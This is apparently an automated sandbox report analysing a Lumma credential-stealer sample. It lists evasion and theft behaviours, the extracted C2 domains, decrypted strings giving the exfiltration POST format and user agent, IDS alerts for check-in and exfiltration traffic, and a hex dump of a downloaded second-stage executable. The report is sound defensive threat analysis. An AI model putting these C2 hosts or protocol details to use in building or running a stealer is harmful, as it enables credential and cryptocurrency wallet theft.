Edit tour

Windows Analysis Report
f48jWpQ2F8.exe

Overview

General Information

Sample name:	f48jWpQ2F8.exe renamed because original name is a hash value
Original sample name:	5a3ff46ade4fa0d7f8f8f1c1c4caa164.exe
Analysis ID:	1578894
MD5:	5a3ff46ade4fa0d7f8f8f1c1c4caa164
SHA1:	ec3bac95021b4151dfdd22a4a9188e6baf05e538
SHA256:	17cea3d838e4546c6eabf33ea89a8d20e70e20ebd6567e7eb92323d2929ba28b
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

f48jWpQ2F8.exe (PID: 7456 cmdline: "C:\Users\user\Desktop\f48jWpQ2F8.exe" MD5: 5A3FF46ADE4FA0D7F8F8F1C1C4CAA164)

chrome.exe (PID: 8116 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 3656 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1896,i,13068996111565046042,17270305819011272188,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 428 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1916,i,3855862438101677687,7345271916108378695,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["sustainskelet.lat", "discokeyus.lat", "energyaffai.lat", "crosshuaht.lat", "rapeflowwj.lat", "grannyejh.lat", "aspecteirs.lat", "necklacebudi.lat"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1653142478.000000000132F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1651190408.0000000001373000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1612424762.0000000001370000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1612765503.0000000001373000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1653049966.0000000001327000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1652849281.0000000001373000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1652937523.0000000001327000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1615463849.0000000001373000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f48jWpQ2F8.exe PID: 7456	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f48jWpQ2F8.exe PID: 7456	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f48jWpQ2F8.exe PID: 7456	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f48jWpQ2F8.exe PID: 7456	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 8 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:59.778249+0100	2028371	3	Unknown Traffic	192.168.2.11	49706	104.21.21.99	443	TCP
2024-12-20T16:20:03.307430+0100	2028371	3	Unknown Traffic	192.168.2.11	49707	104.21.21.99	443	TCP
2024-12-20T16:20:06.193581+0100	2028371	3	Unknown Traffic	192.168.2.11	49708	104.21.21.99	443	TCP
2024-12-20T16:20:10.965378+0100	2028371	3	Unknown Traffic	192.168.2.11	49709	104.21.21.99	443	TCP
2024-12-20T16:20:15.816247+0100	2028371	3	Unknown Traffic	192.168.2.11	49713	104.21.21.99	443	TCP
2024-12-20T16:20:19.598721+0100	2028371	3	Unknown Traffic	192.168.2.11	49714	104.21.21.99	443	TCP
2024-12-20T16:20:22.636883+0100	2028371	3	Unknown Traffic	192.168.2.11	49715	104.21.21.99	443	TCP
2024-12-20T16:20:28.091193+0100	2028371	3	Unknown Traffic	192.168.2.11	49716	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:20:01.953365+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49706	104.21.21.99	443	TCP
2024-12-20T16:20:04.167216+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49707	104.21.21.99	443	TCP
2024-12-20T16:20:28.903035+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49716	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:20:01.953365+0100	2049836	1	A Network Trojan was detected	192.168.2.11	49706	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:20:04.167216+0100	2049812	1	A Network Trojan was detected	192.168.2.11	49707	104.21.21.99	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:59.778249+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.11	49706	104.21.21.99	443	TCP
2024-12-20T16:20:03.307430+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.11	49707	104.21.21.99	443	TCP
2024-12-20T16:20:06.193581+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.11	49708	104.21.21.99	443	TCP
2024-12-20T16:20:10.965378+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.11	49709	104.21.21.99	443	TCP
2024-12-20T16:20:15.816247+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.11	49713	104.21.21.99	443	TCP
2024-12-20T16:20:19.598721+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.11	49714	104.21.21.99	443	TCP
2024-12-20T16:20:22.636883+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.11	49715	104.21.21.99	443	TCP
2024-12-20T16:20:28.091193+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.11	49716	104.21.21.99	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:20:30.377388+0100	2019714	2	Potentially Bad Traffic	192.168.2.11	49717	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:58.144316+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.11	62959	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:58.000329+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.11	63123	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:57.774869+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.11	50234	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:20:20.666766+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.11	49714	104.21.21.99	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:20:22.642844+0100	2843864	1	A Network Trojan was detected	192.168.2.11	49715	104.21.21.99	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: f48jWpQ2F8.exe

Avira: detected

Found malware configuration

Source: f48jWpQ2F8.exe.7456.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["sustainskelet.lat", "discokeyus.lat", "energyaffai.lat", "crosshuaht.lat", "rapeflowwj.lat", "grannyejh.lat", "aspecteirs.lat", "necklacebudi.lat"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: f48jWpQ2F8.exe	ReversingLabs: Detection: 47%
Source: f48jWpQ2F8.exe	Virustotal: Detection: 55%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: f48jWpQ2F8.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1918513484.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: f48jWpQ2F8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.42:443 -> 192.168.2.11:49734 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49716 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: f48jWpQ2F8.exe, 00000000.00000002.1927543718.00000000063E2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.11:63123 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.11:62959 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.11:50234 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.11:49707 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.11:49714 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.11:49713 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.11:49709 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.11:49716 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.11:49715 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.11:49706 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.11:49708 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.11:49706 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49706 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.11:49707 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49707 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.11:49714 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49716 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.11:49715 -> 104.21.21.99:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:20:29 GMTContent-Type: application/octet-streamContent-Length: 2790400Last-Modified: Fri, 20 Dec 2024 14:40:36 GMTConnection: keep-aliveETag: "676581e4-2a9400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 bc 64 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 62 64 79 72 75 66 66 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 69 77 61 73 7a 71 66 00 20 00 00 00 c0 2a 00 00 04 00 00 00 6e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 72 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.21.99 104.21.21.99
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49707 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49714 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49713 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49709 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49716 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49715 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49706 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.11:49717 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49708 -> 104.21.21.99:443

Source: unknown

HTTPS traffic detected: 173.222.162.42:443 -> 192.168.2.11:49734 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
